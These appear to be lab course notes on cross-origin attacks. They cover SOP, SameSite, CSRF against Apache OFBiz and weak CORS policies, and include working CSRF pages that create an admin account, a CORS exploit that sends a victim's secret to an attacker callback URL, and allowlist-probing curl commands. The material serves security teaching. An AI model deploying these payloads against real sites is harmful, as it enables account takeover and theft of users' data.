Module 7: Cross-Origin Attacks

Same-Origin Policy

Accessing the CORS Sandbox

Start the VPN, the VM, and add the IP to your hosts file.

Introduction to the Same-Origin Policy

An origin is the combination of a protocol, hostname, and port number.

SOP blocks JavaScript from accessing the response of a cross-origin request, but the request is still sent.

SOP allows images to be loaded cross-origin.

SameSite Cookies

This attribute instructs the browser to send the cookie on any relevant request, regardless of where or how the request originated.

Cross-Site Request Forgery (CSRF)

Detecting and Preventing CSRF

Usually done via a hidden nonce value or "csrf" token.

Exploiting CSRF

It's easier to exploit CSRF with GET requests due to the multiple ways to instruct a browser to send a GET request.

Case Study: Apache OFBiz

Accessing Apache OFBiz

Start the VPN, the VM, and add its IP to hosts.

Apache OFBiz - Discovery

Response headers for login request

HTTP/1.1 200 
Set-Cookie: JSESSIONID=289957A01AEF4C404F221CA5346C8E1A.jvm1; Path=/webtools; Secure; HttpOnly
Set-Cookie: OFBiz.Visitor=10600; Max-Age=31536000; Expires=Wed, 15-Jun-2022 20:05:33 GMT; Path=/; Secure; HttpOnly
x-frame-options: sameorigin
strict-transport-security: max-age=31536000; includeSubDomains
x-content-type-options: nosniff
X-XSS-Protection: 1; mode=block
Referrer-Policy: no-referrer-when-downgrade
Content-Security-Policy-Report-Only: default-src 'self'
vary: accept-encoding
Content-Type: text/html;charset=UTF-8
Date: Tue, 15 Jun 2021 20:05:33 GMT
Connection: close
Content-Length: 23167

POST request for new user creation

POST /webtools/control/createUserLogin HTTP/1.1
Host: ofbiz:8443
Connection: close
Content-Length: 178
Cache-Control: max-age=0
sec-ch-ua: ";Not A Brand";v="99", "Chromium";v="88"
sec-ch-ua-mobile: ?0
Upgrade-Insecure-Requests: 1
Origin: https://ofbiz:8443
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://ofbiz:8443/webtools/control/createnewlogin
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: JSESSIONID=76A7BCC53C2B9BF49B21F99D2D8CA5D5.jvm1; OFBiz.Visitor=10000

enabled=&partyId=&userLoginId=test&currentPassword=password&currentPasswordVerify=password&passwordHint=&requirePasswordChange=N&externalAuthId=&securityQuestion=&securityAnswer=

POST request to add a user to a security group

POST /webtools/control/addUserLoginToSecurityGroup HTTP/1.1
Host: ofbiz:8443
Connection: close
Content-Length: 80
Cache-Control: max-age=0
sec-ch-ua: ";Not A Brand";v="99", "Chromium";v="88"
sec-ch-ua-mobile: ?0
Upgrade-Insecure-Requests: 1
Origin: https://ofbiz:8443
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://ofbiz:8443/webtools/control/EditSecurityGroupUserLogins?groupId=SUPER
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: JSESSIONID=76A7BCC53C2B9BF49B21F99D2D8CA5D5.jvm1; OFBiz.Visitor=10000

groupId=SUPER&userLoginId=test&fromDate_i18n=&fromDate=&thruDate_i18n=&thruDate=

Apache OFBiz - Exploitation

CSRF payload outline

<html>
<body onload="document.forms['csrf'].submit()">
  <form action="https://ofbiz:8443/webtools/control/createUserLogin" method="post" name="csrf">
  </form>
</body>
</html>

Adding the input fields

...
<input type="hidden" name="enabled">
<input type="hidden" name="partyId">
<input type="hidden" name="userLoginId" value="csrftest">
<input type="hidden" name="currentPassword" value="password">
<input type="hidden" name="currentPasswordVerify" value="password">
<input type="hidden" name="passwordHint">
<input type="hidden" name="requirePasswordChange" value="N">
<input type="hidden" name="externalAuthId">
<input type="hidden" name="securityQuestion">
<input type="hidden" name="securityAnswer">
...

Restarting the Apache HTTP Server

kali@kali:~$ sudo systemctl restart apache2

Creating our next payload file

kali@kali:~$ sudo cp /var/www/html/ofbiz.html /var/www/html/ofbiz1.html

New form element for adding our user to the SUPER group

...
<form action="https://ofbiz:8443/webtools/control/userLogin_addUserLoginToSecurityGroup" method="post" name="csrf2" target="_blank">
<input type="hidden" name="userLoginId" value="csrftest">
<input type="hidden" name="partyId">
<input type="hidden" name="groupId" value="SUPER">
<input type="hidden" name="fromDate_i18n">
<input type="hidden" name="fromDate">
<input type="hidden" name="thruDate_i18n">
<input type="hidden" name="thruDate">
</form>

New JavaScript function to submit our two forms

<html>
<head>
<script>
  function submitForms() {
    document.forms['csrf'].submit();
    document.forms['csrf2'].submit();
    return false;
  }
</script>
</head>
<body onload="submitForms();" >
...

Revising the CSRF Payload

Basic HTML and JavaScript structure of ofbiz2.html

<html>
<head>
<script>
  var username = "csrftest2";
  var password = "password";
  var host = "https://ofbiz:8443";
  var create_url = "/webtools/control/createUserLogin";
  var admin_url = "/webtools/control/userLogin_addUserLoginToSecurityGroup";
  var create_params = "enabled=&partyId=&userLoginId=" + username + "&currentPassword=" + password + "&currentPasswordVerify=" + password + "&passwordHint=hint&requirePasswordChange=N&externalAuthId=&securityQuestion=&securityAnswer=";
  var admin_params = "userLoginId=" +username + "&partyId=&groupId=SUPER&fromDate_i18n=&fromDate=&thruDate_i18n=&thruDate=";
</script>
</head>
<body></body>
</html>

JavaScript functions to create a new user and add that user to SUPER group

...
function send_create() { 
  console.log("Creating user..."); 
  fetch(host+create_url, {
    method: 'POST',
    mode: 'no-cors',
    credentials: 'include',
    headers: {
      'Content-Type': 'application/x-www-form-urlencoded'
    },
    body : create_params }
  ).then(function(response) {
    send_admin();
  }); 
}

function send_admin() { 
  console.log("Adding admin role..."); 
  fetch(host+admin_url, {
    method: 'POST',
    mode: 'no-cors',
    credentials: 'include',
    headers: {
      'Content-Type': 'application/x-www-form-urlencoded' 
    },
    body : admin_params }
  ).then(
    console.log("Should be done...") 
  );
}

send_create();
</script>
...

Using the fetch API to send our POST request in the "no-cors" mode restricts us to using "application/x-www-form-urlencoded" as the content type. Setting credentials to include instructs the browser to send cookies on the request.

Our CSRF fails due to the browser defaulting to a Lax SameSite value. If set to None then we would have been successful.

Anatomy of the CORS Request

Before sending an actual cross-origin request, the browser makes a preflight request to the intended destination.

Sample preflight request

OPTIONS /foo HTTP/1.1
Host: megacorpone.com
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Connection: keep-alive
Origin: https://offensive-security.com
Access-Control-Request-Method: POST
Access-Control-Request-Headers: X-UserId

Response Headers

Servers can set several headers to enable CORS.

Sample preflight response

HTTP/1.1 200 OK
Server: nginx/1.14.0 (Ubuntu)
Date: Wed, 23 Jun 2021 17:38:47 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 0
Connection: close
Access-Control-Allow-Methods: GET, POST, OPTIONS
Access-Control-Allow-Origin: https://offensive-security.com
Access-Control-Allow-Credentials: true
Access-Control-Allow-Headers: X-UserId

Exploiting Weak CORS Policies

Weak CORS Policies - Discovery

Response headers for /code

HTTP/1.1 200 OK
Server: nginx/1.14.0 (Ubuntu)
Date: Thu, 15 Jul 2021 17:13:23 GMT
Content-Type: application/json
Content-Length: 62
Connection: close
Access-Control-Allow-Methods: GET
Access-Control-Allow-Origin: *

{"code":"6d84973e-5995-4557-95ed-a179beb9b5a4","status":"ok"}

Trusting Any Origin

Requesting the secret code without a session cookie

HTTP/1.1 401 UNAUTHORIZED
Server: nginx/1.14.0 (Ubuntu)
Date: Thu, 15 Jul 2021 17:17:00 GMT
Content-Type: application/json
Content-Length: 62
Connection: close
Access-Control-Allow-Methods: GET
Access-Control-Allow-Origin: *

{"code":"You must be logged in to do that.","status":"error"}

Basic CORS exploit page

<html>
<head>
<script>
var url = "https://cors-sandbox/code";

function get_code() {
  fetch(url, {
    method: 'GET',
    mode: 'cors',
    credentials: 'include'
  })
  .then(response => response.json())
  .then(data => {
    console.log(data);
  });
}

get_code();
</script>
</head>
<body></body>
</html>

Some browsers restrict cookies on cross-origin requests based on privacy settings. If the following examples do not work, you may need to modify settings in your browser to relax these controls for the cors1.html and cors2.html pages.

In Chrome and Chromium, you can enable Third-party cookies after loading the page by clicking on Not secure, then Cookies and site data, and then toggling "Third-party cookies".

In Firefox, you may need to disable Enhanced Tracking Protection for the page by clicking on the shield icon next to the URL and then toggling "Enhanced Tracking Protection is ON for this site".

Updated get_code() function

...
function get_code() {
  fetch(url, {
    method: 'GET',
    mode: 'cors',
    credentials: 'include'
  })
  .then(response => response.json())
  .then(data => {
    fetch('http://your ip address/callback?' +  encodeURIComponent(JSON.stringify(data)), {
      mode: 'no-cors'
    });
  });
}
...

Contents of access.log including the secret code

kali@kali:~$ sudo tail /var/log/apache2/access.log
...
127.0.0.1 - - [23/Jun/2021:18:07:26 -0400] "GET /cors2.html HTTP/1.1" 200 593 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36"
127.0.0.1 - - [23/Jun/2021:18:07:26 -0400] "GET /favicon.ico HTTP/1.1" 404 451 "http://localhost/cors2.html" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36"
192.168.48.3 - - [23/Jun/2021:18:07:26 -0400] "GET /callback?%7B%22code%22%3A%226d84973e-5995-4557-95ed-a179beb9b5a4%22%2C%22status%22%3A%22ok%22%7D HTTP/1.1" 404 454 "http://localhost/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36"

Improper Domain Allowlist

Response to OPTIONS request to /allowlist

kali@kali:~$ curl -X "OPTIONS" -i -k https://cors-sandbox/allowlist 
HTTP/2 200 
access-control-allow-credentials: true
access-control-allow-methods: GET
access-control-allow-origin: https://offensive-security.com
content-type: text/html; charset=utf-8
date: Thu, 15 Jul 2021 17:51:21 GMT
server: waitress
content-length: 0

The Access-Control-Allow-Origin value has changed

kali@kali:~$ curl -X "OPTIONS" -i -H "Origin: http://www.offensive-security.com" -k https://cors-sandbox/allowlist
HTTP/2 200 
access-control-allow-credentials: true
access-control-allow-methods: GET
access-control-allow-origin: http://www.offensive-security.com
content-type: text/html; charset=utf-8
date: Thu, 15 Jul 2021 17:52:38 GMT
server: waitress
content-length: 0

The Access-Control-Allow-Origin value has the original value

kali@kali:~$ curl -X "OPTIONS" -i -H "Origin: http://www.offensive-security.net" -k https://cors-sandbox/allowlist
HTTP/2 200 
access-control-allow-credentials: true
access-control-allow-methods: GET
access-control-allow-origin: https://offensive-security.com
content-type: text/html; charset=utf-8
date: Thu, 15 Jul 2021 17:53:48 GMT
server: waitress
content-length: 0

The Access-Control-Allow-Origin value reflects the value we submitted

kali@kali:~$ curl -X "OPTIONS" -i -H "Origin: http://fakeoffensive-security.com" -k https://cors-sandbox/allowlist
HTTP/2 200 
access-control-allow-credentials: true
access-control-allow-methods: GET
access-control-allow-origin: http://fakeoffensive-security.com
content-type: text/html; charset=utf-8
date: Thu, 15 Jul 2021 17:54:33 GMT
server: waitress
content-length: 0

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